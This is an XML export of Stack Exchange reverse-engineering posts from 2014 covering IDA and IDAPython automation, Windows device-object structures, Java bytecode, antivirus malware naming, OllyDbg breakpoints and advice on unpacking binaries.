  <row Id="3381" PostTypeId="2" ParentId="3379" CreationDate="2014-01-07T04:02:15.450" Score="5" Body="&lt;p&gt;Nope. Metasploit is a pentester framework, not a reversing/malware-dev framework. Instead, you should master a debugger (&lt;a href=&quot;https://www.hex-rays.com/products/ida/debugger/&quot;&gt;IDA&lt;/a&gt;, &lt;a href=&quot;http://radare.org/y/&quot;&gt;Radare2&lt;/a&gt;, &lt;a href=&quot;http://www.ollydbg.de/&quot;&gt;OllyDbg&lt;/a&gt;, etc) and at least one scripting language (&lt;a href=&quot;http://www.python.org/&quot;&gt;Python&lt;/a&gt; or &lt;a href=&quot;http://www.ruby-lang.org/&quot;&gt;Ruby&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="3575" LastActivityDate="2014-01-07T04:02:15.450" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3382" PostTypeId="2" ParentId="3379" CreationDate="2014-01-07T06:26:37.470" Score="3" Body="&lt;p&gt;Metasploit can generate some malicious files, such as PDFs.  Malware analysis isn't necessarily just Windows PE files so it might be a good idea to look into other file formats.  Metaploit could be useful to generate your own samples to analyze.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Msfvenom might be interesting to you as well.  It is a tool that generates shellcode given a payload.  Generated shellcode might not always be the best though.&lt;/p&gt;&#xA;" OwnerUserId="2112" LastActivityDate="2014-01-07T06:26:37.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3383" PostTypeId="2" ParentId="3379" CreationDate="2014-01-07T06:27:42.317" Score="2" Body="&lt;p&gt;You may find other people code useful and metasplot is good to test and understand how things can be exploited. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reversing there are alot of videos and sildes that other people have released explaining how they achieved there goals&lt;/p&gt;&#xA;" OwnerUserId="3576" LastActivityDate="2014-01-07T06:27:42.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3384" PostTypeId="2" ParentId="3362" CreationDate="2014-01-07T09:59:45.560" Score="1" Body="&lt;p&gt;You can detect a .net assembly by looking at the PE headers. Read the CLR spec and the PE/COFFEE spec for details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Java uses it's own class file format. I'm not too familiar with it, but it should be possible to positively id a class file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Native language development is mostly about heuristics. Things like calling conventions, prologues, epilogues, etc. A recursive descent disassembled, plus an idiom recognizer can likely id the source compiler. GCC and class generate very distinctive code, for example. &lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2014-01-07T09:59:45.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3385" PostTypeId="1" AcceptedAnswerId="3386" CreationDate="2014-01-07T10:38:21.537" Score="3" ViewCount="1094" Body="&lt;p&gt;I'm looking for information on the &lt;a href=&quot;http://msdn.moonsols.com/winxpsp3_x86/DEVICE_OBJECT.html&quot; rel=&quot;nofollow&quot;&gt;_DEVICE_OBJECT&lt;/a&gt;-&gt;&lt;a href=&quot;http://msdn.moonsols.com/winxpsp3_x86/DEVOBJ_EXTENSION.html&quot; rel=&quot;nofollow&quot;&gt;_DEVOBJ_EXTENSION&lt;/a&gt; structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to know a bit more about this structure in genernal, like what it's actually used for. But specifically, I'd like to know about the &lt;code&gt;_DEVICE_OBJECT* AttachedTo&lt;/code&gt; member and the difference between that and the &lt;code&gt;_DEVICE_OBJECT* AttachedDevice&lt;/code&gt; member in the &lt;code&gt;_DEVICE_OBJECT&lt;/code&gt; structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google is proving fruitless, and I can't find any reference to it in the Windows Internals book. Any resources or information would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;br&gt;&#xA;Ok... After a bit of staring at WinDbg I found that the &lt;code&gt;AttachedTo&lt;/code&gt; field seems to point to the device object at the top of the device tree. Can anyone confirm this?&lt;/p&gt;&#xA;" OwnerUserId="3298" LastEditorUserId="3298" LastEditDate="2014-01-07T11:04:50.107" LastActivityDate="2014-01-08T13:30:29.407" Title="_DEVOBJ_EXTENSION structure information" Tags="|windows|kernel-mode|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3386" PostTypeId="2" ParentId="3385" CreationDate="2014-01-07T13:53:19.767" Score="3" Body="&lt;p&gt;According to this diagram from &lt;a href=&quot;http://www.mouseos.com/windows/kernel/DeviceStack.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.mouseos.com/windows/kernel/DeviceStack.html&lt;/a&gt;, &lt;code&gt;AttachedDevice&lt;/code&gt; points to the next device and &lt;code&gt;DeviceExtension-&amp;gt;AttachedTo&lt;/code&gt; points to the previous device:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L9xKy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-01-07T13:53:19.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3387" PostTypeId="1" AcceptedAnswerId="3389" CreationDate="2014-01-07T13:58:09.897" Score="1" ViewCount="782" Body="&lt;p&gt;I'ld like to see which functions are operating with certain object's fields that I already processed, meaning I created the structure and assigned it to the correct places in the functions in IDA, without having to run a dynamic debugger. (for example, I would like to see a list of the functions accessing/writing/reading the &lt;em&gt;Foo&lt;/em&gt; data field of the &lt;em&gt;Bar&lt;/em&gt; object), but as far as I know it's not implemented in IDA. &lt;/p&gt;&#xA;" OwnerUserId="2354" LastActivityDate="2014-01-08T00:25:52.853" Title="Cross-referencing object fields" Tags="|ida|ida-plugin|idapython|struct|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3388" PostTypeId="1" AcceptedAnswerId="3394" CreationDate="2014-01-07T13:58:48.743" Score="4" ViewCount="3510" Body="&lt;p&gt;I am loading various files that read into IDA as binary. Once I have the GUI in front of me I am able to go through the segments and hit &quot;c&quot; in order to convert to instruction/code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I am primarily trying to do all my ida work via linux terminal (using the command line &lt;code&gt;./idal -B input-file&lt;/code&gt;). &#xA;Is there a command line flag, or another method, to automate the generating of instructions from the binary files? Or is this something I will have to manually do every time?&lt;/p&gt;&#xA;" OwnerUserId="3505" LastActivityDate="2014-01-07T15:08:36.490" Title="IDA Pro converting to instruction functionality: how to automate." Tags="|ida|linux|ida-plugin|idapython|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3389" PostTypeId="2" ParentId="3387" CreationDate="2014-01-07T14:04:11.657" Score="3" Body="&lt;p&gt;IDA has been able to show &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/592.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;cross-references&lt;/a&gt; to structure members since version 6.2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C0prO.png&quot; alt=&quot;Structure member cross-references&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2014-01-07T14:10:12.010" LastActivityDate="2014-01-07T14:10:12.010" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3391" PostTypeId="2" ParentId="3374" CreationDate="2014-01-07T14:06:35.380" Score="2" Body="&lt;p&gt;Call to hard-coded addresses will not work for different reasons, the most obvious is ASLR, which randomizes the base address of every DLL, which means that the function address will be different at every boot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solving this issue is far from simple as the use of &lt;code&gt;LoadLibrary&lt;/code&gt; and &lt;code&gt;GetProcAddress&lt;/code&gt;, classically used by developers to dynamically import DLL will also have a dynamic address, so you can't use them to determine the address of your sought function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve this issue you have to use shellcode techniques; in other words you will have to include assembly code that parse the &lt;code&gt;PEB&lt;/code&gt; structure to determine the base address of Kernel32 address, search for your function in export table and finally use the it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another more advanced techniques for more complex usage is the use of reflective DLL injection, but it is a bit far from what you are looking for.&lt;/p&gt;&#xA;" OwnerUserId="3469" LastEditorUserId="3469" LastEditDate="2014-01-07T14:24:37.607" LastActivityDate="2014-01-07T14:24:37.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3392" PostTypeId="2" ParentId="3388" CreationDate="2014-01-07T14:09:06.990" Score="2" Body="&lt;p&gt;You can use specify an IDC script on the command line via the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/417.shtml&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;-S&lt;/code&gt;&lt;/a&gt; switch, with which you can try calling &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/202.shtml&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;AnalyzeArea()&lt;/code&gt;&lt;/a&gt;; if that doesn't work, you can use &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/201.shtml&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;MakeCode()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-01-07T14:09:06.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3393" PostTypeId="2" ParentId="3387" CreationDate="2014-01-07T14:45:57.393" Score="3" Body="&lt;p&gt;Unfortunately this IDA feature doesn't always work as needed especially if you define your objects in Hex-Rays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your problem is around using Hex-Rays, you can use the &lt;a href=&quot;https://github.com/EiNSTeiN-/hexrays-python-plugins/blob/master/xrefs/xrefs.py&quot; rel=&quot;nofollow&quot;&gt;XRefs&lt;/a&gt; plugin with the &lt;a href=&quot;https://github.com/EiNSTeiN-/hexrays-python&quot; rel=&quot;nofollow&quot;&gt;hexrays-python&lt;/a&gt; API in IDA 6.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I understand latest version of IDAPython with support of IDA 6.5 at&#xA;google code already contains these bindings in IDA API module, but it is not fully operational yet (at least I'm not succeeded to make it work). &lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="53" LastEditDate="2014-01-08T00:25:52.853" LastActivityDate="2014-01-08T00:25:52.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3394" PostTypeId="2" ParentId="3388" CreationDate="2014-01-07T15:08:36.490" Score="3" Body="&lt;p&gt;I would do something like this in IDAPython:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# I didn't check this code, please use carefully !This code will pass through all defined segments and will try to make code on any unexplored area&#xA;# IDAPython documentation is at https://www.hex-rays.com/products/ida/support/idapython_docs/&#xA;&#xA;import idautils&#xA;import idc&#xA;&#xA;for ea in idautils.Segments():&#xA;    segend = idc.GetSegmentAttr(ea, idc.SEGATTR_END)&#xA;    start = ea&#xA;    while start &amp;lt; segend:&#xA;        idc.MakeCode(start)&#xA;        start = idc.FindUnexplored(start+1, idc.SEARCH_DOWN)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can run it with &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/417.shtml&quot; rel=&quot;nofollow&quot;&gt;-S&lt;/a&gt; command line switch as stated in previous answer&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-01-07T15:08:36.490" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3395" PostTypeId="1" AcceptedAnswerId="3396" CreationDate="2014-01-07T17:09:11.397" Score="4" ViewCount="3740" Body="&lt;p&gt;I am using IDA Pro 6.5 and running it via terminal with the following command line switches:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;-B (to run in batch mode, should automatically generate a .asm file containing results)&lt;/li&gt;&#xA;&lt;li&gt;-S running a script in which the only functionality is to convert all of the binary into instruction.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When I ran in batch mode prior to the script, it would generate a .asm file that I would then be able to manipulate. However, now this file doesn’t appear. Is there a quick fix or any IDA Python methods I can include in order to create an output file?&lt;/p&gt;&#xA;" OwnerUserId="3505" LastActivityDate="2017-03-30T07:30:38.727" Title="IDA Pro/IDA Python, producing file via terminal" Tags="|ida|ida-plugin|idapython|idapro-sdk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3396" PostTypeId="2" ParentId="3395" CreationDate="2014-01-07T17:11:50.857" Score="6" Body="&lt;p&gt;Here it is. &#xA;Run it with idal -c -A -S./script.py ./test.bin&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# I didn't check this code, please use carefully !&#xA;# IDAPython documentation is at https://www.hex-rays.com/products/ida/support/idapython_docs/&#xA;&#xA;import idautils&#xA;import idc&#xA;&#xA;for ea in idautils.Segments():&#xA;    segend = idc.GetSegmentAttr(ea, idc.SEGATTR_END)&#xA;    start = ea&#xA;    while start &amp;lt; segend:&#xA;        idc.MakeCode(start)&#xA;        start = idc.FindUnexplored(start+1, idc.SEARCH_DOWN)&#xA;&#xA;idc.GenerateFile(idc.OFILE_ASM, idc.GetInputFile()+&quot;.asm&quot;, 0, idc.BADADDR, 0)&#xA;&#xA;idc.Exit(0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-01-07T17:11:50.857" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3397" PostTypeId="1" CreationDate="2014-01-07T17:46:51.527" Score="12" ViewCount="1183" Body="&lt;p&gt;Suppose we compile this method using Java 6+ compiler:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void test(int x) {&#xA;    try {&#xA;        x += 777;&#xA;    } finally {&#xA;        x -= 333;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The disassembled code would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;test(I)V&#xA;    TRYCATCHBLOCK L0 L1 L2 null&#xA;    TRYCATCHBLOCK L2 L3 L2 null&#xA;   L0              // Start of try block&#xA;    IINC 1 777     // The body of try block&#xA;   L1              // Start of finally block in case of successful execution &#xA;    IINC 1 -333    // Body of finally block&#xA;    GOTO L4        // End of 'success' finally block &#xA;   L2              // Start of finally block in case of exception&#xA;    ASTORE 2       // Remember exception&#xA;   L3&#xA;    IINC 1 -333    // Duplicated body of finally block&#xA;    ALOAD 2        // Load remembered exception&#xA;    ATHROW         // Rethrow the exception &#xA;   L4              // End of try/finally  &#xA;    RETURN&#xA;   L5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously, this declaration specifies the &quot;try&quot; section and the beginning of the &quot;finally&quot; block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    TRYCATCHBLOCK L0 L1 L2 null&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the next declaration looks strange:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    TRYCATCHBLOCK L2 L3 L2 null&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why does the Java compiler protect the exception while remembering it, and why does it specify itself as the handler recursively (i.e. the two &lt;code&gt;L2&lt;/code&gt;s)?&lt;/p&gt;&#xA;" OwnerUserId="3584" LastEditorUserId="151" LastEditDate="2014-01-08T07:54:31.747" LastActivityDate="2018-02-01T19:09:56.670" Title="Why does the Java compiler add an extra try-catch block?" Tags="|java|byte-code|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3399" PostTypeId="1" AcceptedAnswerId="3400" CreationDate="2014-01-07T18:39:53.240" Score="6" ViewCount="726" Body="&lt;p&gt;While analyzing a binary online through the virustotal service , I found out that different AVs named the binaries differently.For instance, for that same binary Norman named it  Obfuscated_A, Symantec named it WS.Reputation.1 and another AV named it Malware-Cryptor.General.2 .Is there any specific naming convention adopted by the AVs?&lt;/p&gt;&#xA;" OwnerUserId="1571" LastActivityDate="2014-01-10T00:12:00.177" Title="How antiviruses name malwares" Tags="|malware|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3400" PostTypeId="2" ParentId="3399" CreationDate="2014-01-07T18:58:09.140" Score="8" Body="&lt;p&gt;Different AV vendors use different naming conventions. Many of them describe these conventions on their websites. For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.microsoft.com/security/portal/mmpc/shared/malwarenaming.aspx&quot;&gt;http://www.microsoft.com/security/portal/mmpc/shared/malwarenaming.aspx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.symantec.com/security_response/virusnaming.jsp&quot;&gt;http://www.symantec.com/security_response/virusnaming.jsp&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.avira.com/en/support-malware-naming-conventions&quot;&gt;http://www.avira.com/en/support-malware-naming-conventions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;AV vendors will sometimes try to use the same names as other AV vendors for well-known malware families, but this is not guaranteed and is becoming less and less common. For example, Microsoft, Sophos, CA, and McAfee all refer to the well-known Conficker family as &quot;Conficker&quot;, but Symantec refers to it as &quot;Downadup&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even when AV vendors agree on a family name, they will hardly ever be in-sync on variant names. So for example, a file detected by Microsoft as Conficker.B might be detected by CA as Conficker.C.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why whenever you want to refer to a specific malware variant, it's always best to give the detection name &lt;em&gt;and&lt;/em&gt; the AV engine name. Or better yet, just give the file hash and let people look it up on a site like VirusTotal.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2014-01-07T19:03:19.833" LastActivityDate="2014-01-07T19:03:19.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3401" PostTypeId="2" ParentId="3385" CreationDate="2014-01-07T19:40:18.957" Score="3" Body="&lt;p&gt;use &lt;code&gt;!devobj &amp;lt;address&amp;gt;&lt;/code&gt; command&lt;br&gt;&#xA;it will tell you what AttachedDevice (upper ) and what AttachedTo device is (lower)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.foreach (place { .shell -ci &quot;!object \\Device;&quot; sed s/&quot;     &quot;..&quot;  &quot;//g | sed s/&quot; .*&quot;//g } ) { !grep -i -c &quot;!devobj place&quot; -e &quot;Attached&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;note:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;!grep is from domdbg windbg extension sed is from gnuwin32 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AttachedTo (Lower) 86fb1630 \Driver\PnpManager&#xA;AttachedTo (Lower) 86d22420 \Driver\aswTdi&#xA;AttachedDevice (Upper) 862f59d8 \Driver\wdmaud&#xA;AttachedDevice (Upper) 86e11130 \Driver\ROOTMODEM&#xA;AttachedDevice (Upper) 86de7528 \Driver\Kbdclass&#xA;AttachedTo (Lower) 86fac190 \Driver\PnpManager&#xA;AttachedDevice (Upper) 86e02560 \Driver\Rasl2tp&#xA;AttachedDevice (Upper) 862e9c90 \Driver\sysaudio&#xA;AttachedTo (Lower) 86f5ece8 \Driver\ACPI&#xA;AttachedTo (Lower) 86e15020 \Driver\i8042prt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or parse the structures yourself for all devices to find patterns&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; .foreach (place { .shell -ci &quot;!object \\Device;&quot; sed s/&quot;     &quot;..&quot;  &quot;//g | sed s/&quot; .*&quot;//g } ) {dt nt!_DEVICE_OBJECT -y Dri-&amp;gt;Drivern* place ;dt nt!_DEVICE_OBJECT -yr DeviceOb-&amp;gt;Att-&amp;gt;Dri-&amp;gt;Drivern* place ;dt nt!_DEVICE_OBJECT -yr Atta-&amp;gt;Dri-&amp;gt;Drivern* place ; .echo ==========}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when a deviceobject has both AttachedDevice and AttachedTo device it should show you an output like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   +0x008 DriverObject : &#xA;      +0x01c DriverName   : _UNICODE_STRING &quot;\Driver\TermDD&quot;&#xA;   +0x0b0 DeviceObjectExtension       : &#xA;      +0x018 AttachedTo                  : &#xA;         +0x008 DriverObject                : &#xA;            +0x01c DriverName                  : _UNICODE_STRING &quot;\Driver\PnpManager&quot;&#xA;   +0x010 AttachedDevice     : &#xA;      +0x008 DriverObject       : &#xA;         +0x01c DriverName         : _UNICODE_STRING &quot;\Driver\Kbdclass&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2014-01-07T20:11:36.000" LastActivityDate="2014-01-07T20:11:36.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3402" PostTypeId="2" ParentId="3399" CreationDate="2014-01-07T21:43:57.133" Score="2" Body="&lt;p&gt;Something to take into consideration is generic detection names. Generic detections are designed to catch as many malware samples as possible while avoiding false positives. They can be made to trigger packers or obfuscation, unorthodox behaviors etc. While this improves coverage the end result is that you can have multiple, unrelated malware samples detected under the same name. This makes it harder to identify which specific malware you are facing. Microsoft usually does a good job of detecting samples with their specific name so I usually look at their detection name first. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the example you give all the names are generic : Obfuscated_A probably triggers on obfuscated code, WS.Reputation.1 is most likely based on file reputation and Malware-Cryptor.General.2 probably detects a packer. &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-01-07T21:43:57.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3403" PostTypeId="2" ParentId="3399" CreationDate="2014-01-08T07:32:41.607" Score="2" Body="&lt;p&gt;I want to add that the malware gets named after what is detected within. For example MyDoom &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Schmugar chose the name after noticing the text &quot;mydom&quot; within a line of the program's code. He noted: &quot;It was evident early on that this would be very big. I thought having 'doom' in the name would be appropriate.&quot; (Source: Wikipedia)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And Flamer had a lot of functions named &quot;Flame&quot; in it's program code. &#xA;While I was working at an anti-virus company I always had a great fun with the naming practice. The reason for the names is to make sure you are talking about the same malware (md5 hashes talk really difficult). Also to decorate the families (malware that is 'just' a bit different but mainly the same). This is why you get Conficker.A and Conficker.B (like @JasonGeffer said) . The reason Microsoft's B is Sophos A is because Microsoft found a different sample of the family first in its honeypots :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;other websites that might interest you: &lt;a href=&quot;http://www.caro.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.caro.org/&lt;/a&gt; and &lt;a href=&quot;http://www.eicar.com&quot; rel=&quot;nofollow&quot;&gt;http://www.eicar.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2035" LastEditorUserId="245" LastEditDate="2014-01-10T00:12:00.177" LastActivityDate="2014-01-10T00:12:00.177" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3404" PostTypeId="2" ParentId="3371" CreationDate="2014-01-08T07:41:52.570" Score="1" Body="&lt;p&gt;If it is really encrypted you'll need to take the device apart, lift the ROM, read it and reverse engineer the code.&#xA;There is some prior work that was done in the area, see &lt;a href=&quot;http://mafipulation.org/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&#xA;The owner of this site is maintaining &lt;a href=&quot;https://github.com/abrasive/shairport&quot; rel=&quot;nofollow&quot;&gt;shairport&lt;/a&gt;, it may be useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a small chance that encrypted code is decrypted before sending the update  to the device (I personally don't believe it), so it would be good to look into the utility that actually reads the update file and updates the Airpot Express. &lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-01-08T07:41:52.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3405" PostTypeId="1" AcceptedAnswerId="3406" CreationDate="2014-01-08T08:24:33.500" Score="6" ViewCount="5046" Body="&lt;p&gt;I'm debugging an application in OllyDbg, I pause the program at a specific place. Now I am deep inside ntdll and other gui related module calls, judging from the stack. &lt;strong&gt;I'ld like to break as soon as the application returns to any function within a specified (the main) module.&lt;/strong&gt; Is there such breakpoint condition? How can I do this? &lt;/p&gt;&#xA;" OwnerUserId="2354" LastActivityDate="2014-01-08T18:33:56.337" Title="Break on returning to a specific module" Tags="|ollydbg|debugging|memory|callstack|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3406" PostTypeId="2" ParentId="3405" CreationDate="2014-01-08T08:45:07.280" Score="7" Body="&lt;p&gt;Go to the memory window in Ollydbg. Find the code section (usually .text) of the module you want to break on return to. Right click the memory section and set break-on-access or hit &lt;kbd&gt;F2&lt;/kbd&gt;. You'll break once execution reaches that memory. You can also change the memory access to read only and you'll get an exception when execution hits that memory segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use a trace and set a conditional stop when EIP is within a certain range, to do this simply set the condition by going to Debug, Set Condition (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;T&lt;/kbd&gt;). Then start the trace with Debug, Trace Into (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;F11&lt;/kbd&gt;)or Debug, Trace Over (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;F12&lt;/kbd&gt;). This will enable you to see where you came from, even if the call is indirect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not guaranteed to be on return but if you're in a different module it's fairly likely that the return is when the first execution happens. You could also be triggering on calls through imports, through object vtables or some other mechanism. You'd need to study the state you're in when the break hits.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2014-01-08T09:01:00.297" LastActivityDate="2014-01-08T09:01:00.297" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3408" PostTypeId="2" ParentId="3385" CreationDate="2014-01-08T13:30:29.407" Score="3" Body="&lt;p&gt;The structure is fully documented by Microsoft on their MSDN site. I also created a blog post a while ago, regarding this data structure which can be found here - &lt;a href=&quot;http://bsodtutorials.blogspot.co.uk/2013/11/devobj-and-deviceobject.html&quot; rel=&quot;nofollow&quot;&gt;http://bsodtutorials.blogspot.co.uk/2013/11/devobj-and-deviceobject.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3587" LastActivityDate="2014-01-08T13:30:29.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3409" PostTypeId="2" ParentId="3399" CreationDate="2014-01-08T14:32:47.430" Score="1" Body="&lt;p&gt;Generally Antivirus companies follow the naming convention proposed by CARO (Computer Antivirus Research Organization).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A malware usually gets a name based on the strings found in it. In some cases based on Mutex/ file name/server name/registry keys and very rarely based on its action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some AV companies they give certain names to track the detections made by generic/ heuristic detection methods (eg:Obfuscated_A, WS.Reputation.1)&lt;/p&gt;&#xA;" OwnerUserId="3588" LastEditorUserId="245" LastEditDate="2014-01-09T17:18:31.860" LastActivityDate="2014-01-09T17:18:31.860" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3410" PostTypeId="2" ParentId="2552" CreationDate="2014-01-08T14:51:48.537" Score="5" Body="&lt;p&gt;To Unpack a file you must have quite a lot of experience in reversing binaries..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember there exists no universal method that works for all the packers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These steps will work in unpacking 97% of binaries;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You must be aware of the code that usually lies at the start of entry point in binaries compiled by well known compilers VC++, VB, Borland Delphi and other compilers. You should also be aware of the difference in code near entry point in binaries compiled in different compiler versions. This will eventually help you in finding the OEP.&lt;/li&gt;&#xA;&lt;li&gt;You must have abundance patience to follow all the virtual memory allocation and virtual memory freeing.&lt;/li&gt;&#xA;&lt;li&gt;Dump the memory blocks and look for visible strings after execution of a decryption code.&lt;/li&gt;&#xA;&lt;li&gt;Learn about debugger detection, virtual environment detection and anti-debugging techniques.&lt;/li&gt;&#xA;&lt;li&gt;Start with simple packers at first. I will recommend you to try UPX older versions.&lt;/li&gt;&#xA;&lt;li&gt;Last but not the least &quot;Play with your favorite debugger at-least for 14 hours a day.&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;All the best and Happy reversing!!!&lt;/p&gt;&#xA;" OwnerUserId="3588" LastEditorUserId="53" LastEditDate="2014-01-08T15:19:11.903" LastActivityDate="2014-01-08T15:19:11.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
